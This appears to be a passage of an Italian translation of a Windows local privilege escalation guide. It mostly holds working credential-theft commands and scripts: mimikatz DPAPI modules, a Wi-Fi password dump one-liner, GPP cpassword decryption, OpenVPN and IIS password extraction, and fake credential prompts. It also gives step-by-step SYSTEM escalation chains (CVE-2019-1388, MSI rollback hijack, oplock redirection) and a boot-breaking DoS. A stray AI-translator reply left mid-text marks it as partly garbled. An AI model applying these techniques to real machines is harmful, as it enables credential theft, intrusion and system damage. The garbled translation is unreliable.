La Data Protection API (DPAPI) fornisce un metodo per la cifratura simmetrica dei dati, utilizzata prevalentemente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto dell'utente o del sistema per contribuire in modo significativo all'entropia.
DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell'utente. In scenari di cifratura di sistema, utilizza i segreti di autenticazione del dominio del sistema.
Le chiavi RSA utente cifrate, usando DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect{SID}, dove {SID} rappresenta il Security Identifier dell'utente. La chiave DPAPI, collocata insieme alla chiave master che protegge le chiavi private dell'utente nello stesso file, è tipicamente costituita da 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto con il comando dir
in CMD, anche se può essere elencata tramite PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Puoi usare il mimikatz module dpapi::masterkey
con gli argomenti appropriati (/pvk
o /rpc
) per decrittarlo.
I file delle credenziali protetti dalla master password si trovano solitamente in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Puoi usare mimikatz module dpapi::cred
con l'appropriato /masterkey
per decifrare.
Puoi estrarre molti DPAPI masterkeys dalla memory con il modulo sekurlsa::dpapi
(se sei root).
{{#ref}} dpapi-extracting-passwords.md {{#endref}}
PowerShell Credentials
PowerShell credentials sono spesso usate per attività di scripting e automazione come modo pratico per memorizzare credenziali crittografate. Le credenziali sono protette tramite DPAPI, il che di solito significa che possono essere decifrate solo dallo stesso utente sullo stesso computer sul quale sono state create.
Per decifrare una PS credentials dal file che la contiene puoi fare:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Connessioni RDP salvate
Puoi trovarle in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Comandi eseguiti di recente
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Gestore credenziali Desktop remoto
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Usa il modulo Mimikatz dpapi::rdg
con il /masterkey
appropriato per decrypt any .rdg files
Puoi extract many DPAPI masterkeys dalla memoria con il modulo Mimikatz sekurlsa::dpapi
Sticky Notes
Spesso le persone usano l'app StickyNotes su workstation Windows per save passwords e altre informazioni, senza rendersi conto che è un file di database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
ed è sempre utile cercarlo ed esaminarlo.
AppCmd.exe
Nota che per recover passwords da AppCmd.exe devi essere Administrator ed eseguirlo con High Integrity level.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\
.\
Se questo file esiste allora è possibile che alcune credentials siano state configurate e possano essere recovered.
Questo codice è stato estratto da PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Verifica se C:\Windows\CCM\SCClient.exe
esiste .
Gli installer vengono eseguiti con privilegi SYSTEM, molti sono vulnerabili a DLL Sideloading (Info da https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
File e Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Chiavi host SSH di Putty
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys nel registro
Le SSH private keys possono essere memorizzate nella chiave del registro HKCU\Software\OpenSSH\Agent\Keys
, quindi dovresti controllare se c'è qualcosa di interessante lì:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Se trovi qualsiasi voce all'interno di quel percorso sarà probabilmente una SSH key salvata. È memorizzata criptata ma può essere facilmente decrittata usando https://github.com/ropnop/windows_sshagent_extract.
Maggiori informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Se il servizio ssh-agent
non è in esecuzione e vuoi che si avvii automaticamente all'avvio, esegui:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con
ssh-add
e accedere via ssh a una macchina. La chiave di registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l'uso didpapi.dll
durante l'autenticazione con chiave asimmetrica.
File non presidiati
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend
Esempio di contenuto:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM copie di backup
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Credenziali Cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Password GPP memorizzate nella cache
Una funzionalità era disponibile in passato che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi problemi di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessi da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, criptate con AES256 usando una chiave di default pubblicamente documentata, potevano essere decriptate da qualsiasi utente autenticato. Ciò rappresentava un rischio serio, poiché poteva permettere a utenti di ottenere privilegi elevati.
Per mitigare questo rischio, è stata sviluppata una funzione per cercare file GPP memorizzati localmente contenenti un campo "cpassword" non vuoto. Quando trova un tale file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella correzione di questa vulnerabilità di sicurezza.
Search in C:\ProgramData\Microsoft\Group Policy\history
or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Per decrittare il campo cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Usando crackmapexec per ottenere le password:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Esempio di web.config con credenziali:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN credenziali
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Chiedere le credenziali
Puoi sempre chiedere all'utente di inserire le sue credentials o anche le credentials di un altro utente se pensi che le possa conoscere (nota che chiedere direttamente al client le credentials è davvero rischioso):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Possibili nomi di file contenenti credenziali
File noti che qualche tempo fa contenevano password in clear-text o Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Non ho accesso al tuo repository locale. Per procedere, incolla qui il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md (o dei file che vuoi che io traduca).
Tradurrò il testo rilevante in italiano mantenendo esattamente la stessa sintassi Markdown/HTML, senza tradurre code, nomi di tecniche, link, path o tag come indicato.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credenziali nel RecycleBin
Dovresti anche controllare il Bin per trovare eventuali credenziali al suo interno
Per recuperare le password salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html
All'interno del registro
Altre possibili chiavi di registro con credenziali
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Cronologia dei browser
Dovresti cercare i db dove sono memorizzate le passwords di Chrome o Firefox.
Controlla anche la cronologia, i bookmarks e i preferiti dei browser perché potrebbero essere salvate lì alcune passwords.
Strumenti per estrarre passwords dai browser:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette l'intercomunicazione tra componenti software scritti in linguaggi differenti. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs).
COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
In pratica, se riesci a sovrascrivere una delle DLL che verranno eseguite, potresti escalate privileges se quella DLL viene eseguita da un utente differente.
Per capire come gli attaccanti usano COM Hijacking come meccanismo di persistenza, consulta:
{{#ref}} com-hijacking.md {{#endref}}
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Cerca un file con un determinato nome
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Cerca nel registro nomi di chiavi e password
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Strumenti che cercano password
MSF-Credentials Plugin is a msf plugin; l'ho creato per eseguire automaticamente tutti i metasploit POST module che cercano credentials all'interno della vittima.
Winpeas cerca automaticamente tutti i file che contengono password menzionati in questa pagina.
Lazagne è un altro ottimo tool per estrarre password da un sistema.
Lo strumento SessionGopher cerca sessions, usernames e passwords di diversi tool che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY, e RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()
) con accesso completo. Lo stesso processo crei anche un nuovo processo (CreateProcess()
) con privilegi ridotti ma che eredita tutti gli handle aperti del processo principale.
Quindi, se hai accesso completo al processo con privilegi ridotti, puoi ottenere lo handle aperto per il processo privilegiato creato con OpenProcess()
e iniettare uno shellcode.
Leggi questo esempio per maggiori informazioni su come rilevare e sfruttare questa vulnerabilità.
Leggi questo altro post per una spiegazione più completa su come testare e abusare di più open handlers di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo).
Named Pipe Client Impersonation
I segmenti di memoria condivisa, noti come pipes, permettono la comunicazione tra processi e il trasferimento di dati.
Windows fornisce la funzionalità chiamata Named Pipes, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo ricorda un'architettura client/server, con ruoli definiti come named pipe server e named pipe client.
Quando i dati vengono inviati attraverso una pipe da un client, il server che ha creato la pipe ha la possibilità di assumere l'identità del client, a condizione che disponga dei diritti SeImpersonate necessari. Individuare un processo privilegiato che comunica tramite una pipe che puoi emulare offre l'opportunità di ottenere privilegi più elevati assumendo l'identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire questo attacco, guide utili si trovano qui e qui.
Inoltre, il seguente tool permette di intercettare una comunicazione named pipe con uno strumento come burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e questo tool permette di elencare e visualizzare tutte le pipe per trovare privescs https://github.com/cyberark/PipeViewer
Varie
Estensioni di file che potrebbero eseguire codice su Windows
Dai un'occhiata alla pagina https://filesec.io/
Monitoraggio delle command line per password
Quando si ottiene una shell come utente, potrebbero esserci task pianificati o altri processi in esecuzione che passano credenziali sulla command line. Lo script qui sotto cattura le command line dei processi ogni due secondi e confronta lo stato corrente con quello precedente, stampando eventuali differenze.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Rubare password dai processi
Da Low Priv User a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Se hai accesso all'interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile eseguire un terminale o qualsiasi altro processo come "NT\AUTHORITY SYSTEM" partendo da un utente non privilegiato.
Questo rende possibile elevare i privilegi e bypassare UAC allo stesso tempo con la stessa vulnerabilità. Inoltre, non è necessario installare nulla e il binario usato durante il processo è firmato e rilasciato da Microsoft.
Alcuni dei sistemi interessati sono i seguenti:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
{{#ref}} integrity-levels.md {{#endref}}
Then read this to learn about UAC and UAC bypasses:
{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
La tecnica descritta in this blog post con un exploit code available here.
L'attacco consiste fondamentalmente nell'abusare della funzionalità di rollback di Windows Installer per sostituire file legittimi con file malevoli durante il processo di uninstall. Per questo l'attaccante deve creare un malicious MSI installer che sarà usato per hijackare la cartella C:\Config.Msi
, che poi verrà usata da Windows Installer per salvare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback saranno stati modificati per contenere il payload malevolo.
La tecnica riassunta è la seguente:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msi
empty)
-
Step 1: Install the MSI
-
Create an
.msi
that installs a harmless file (e.g.,dummy.txt
) in a writable folder (TARGETDIR
). -
Mark the installer as "UAC Compliant", so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi
. -
The uninstall process starts moving files to
C:\Config.Msi
and renaming them to.rbf
files (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandle
to detect when the file becomesC:\Config.Msi\<random>.rbf
. -
Step 3: Custom Syncing
-
The
.msi
includes a custom uninstall action (SyncOnRbfWritten
) that: -
Signals when
.rbf
has been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf
-
When signaled, open the
.rbf
file withoutFILE_SHARE_DELETE
— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf
, and because it can’t delete all contents,C:\Config.Msi
is not removed. -
Step 5: Manually Delete
.rbf
-
You (attacker) delete the
.rbf
file manually. -
Now
C:\Config.Msi
is empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi
.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msi
with Weak ACLs -
Recreate the
C:\Config.Msi
folder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC
. -
Step 7: Run Another Install
-
Install the
.msi
again, with: -
TARGETDIR
: Writable location. -
ERROROUT
: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbs
and.rbf
. -
Step 8: Monitor for
.rbs
-
Use
ReadDirectoryChangesW
to monitorC:\Config.Msi
until a new.rbs
appears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msi
contains a custom install action (SyncBeforeRollback
) that: -
Signals an event when the
.rbs
is created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs created
event: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi
. -
But since you still have a handle with
WRITE_DAC
, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbs
and.rbf
-
Overwrite the
.rbs
file with a fake rollback script that tells Windows to: -
Restore your
.rbf
file (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL
). -
Drop your fake
.rbf
containing a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut
) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs
. -
Copies your
.rbf
DLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe
) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
La tecnica principale del rollback MSI (quella precedente) presuppone che tu possa cancellare un intera cartella (es., C:\Config.Msi
). Ma se la tua vulnerabilità permette solo la cancellazione arbitraria di file?
Potresti sfruttare gli internals di NTFS: ogni cartella ha uno stream di dati alternativo nascosto chiamato:
C:\SomeFolder::$INDEX_ALLOCATION
Questo stream conserva i metadati dell'indice della cartella.
Quindi, se elimini lo stream ::$INDEX_ALLOCATION
di una cartella, NTFS rimuove l'intera cartella dal filesystem.
Puoi farlo usando le API standard per l'eliminazione dei file come:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Anche se stai chiamando una file delete API, essa elimina la cartella stessa.
Dall'eliminazione dei contenuti di una cartella a SYSTEM EoP
Cosa succede se la tua primitive non ti permette di eliminare file/cartelle arbitrari, ma consente invece l'eliminazione del contenuto di una cartella controllata dall'attaccante?
- Passo 1: Prepara una cartella esca e un file
- Crea:
C:\temp\folder1
- Al suo interno:
C:\temp\folder1\file1.txt
- Passo 2: Posiziona un oplock su
file1.txt
- L'oplock mette in pausa l'esecuzione quando un processo privilegiato prova a eliminare
file1.txt
.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Passo 3: Attivare il processo SYSTEM (ad es.,
SilentCleanup
)
- Questo processo scansiona le cartelle (es.,
%TEMP%
) e tenta di cancellarne il contenuto. - Quando raggiunge
file1.txt
, l'oplock si attiva e passa il controllo al tuo callback.
- Passo 4: All'interno del callback dell'oplock – reindirizza la cancellazione
-
Opzione A: Sposta
file1.txt
altrove -
Questo svuota
folder1
senza rompere l'oplock. -
Non eliminare
file1.txt
direttamente — ciò rilascierebbe l'oplock prematuramente. -
Opzione B: Converti
folder1
in una junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opzione C: Crea un symlink in
\RPC Control
:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Questo prende di mira lo stream interno NTFS che memorizza i metadati della cartella — cancellarlo elimina la cartella.
- Passo 5: Rilasciare l'oplock
- Il processo SYSTEM continua e prova a cancellare
file1.txt
. - Ma ora, a causa della junction + symlink, in realtà sta cancellando:
C:\Config.Msi::$INDEX_ALLOCATION
Risultato: C:\Config.Msi
viene eliminato da SYSTEM.
Dalla creazione arbitraria di cartelle a un DoS permanente
Sfrutta una primitiva che ti permette di creare una cartella arbitraria come SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.
Crea una cartella (non un file) con il nome di un driver critico di Windows, ad es.:
C:\Windows\System32\cng.sys
- Questo percorso corrisponde normalmente al driver in kernel-mode
cng.sys
. - Se lo pre-crei come cartella, Windows non riesce a caricare il driver reale all'avvio.
- Poi, Windows tenta di caricare
cng.sys
durante l'avvio. - Rileva la cartella, non riesce a risolvere il driver reale, e va in crash o blocca l'avvio.
- Non esiste nessun fallback, e nessun recupero senza intervento esterno (es. riparazione dell'avvio o accesso al disco).
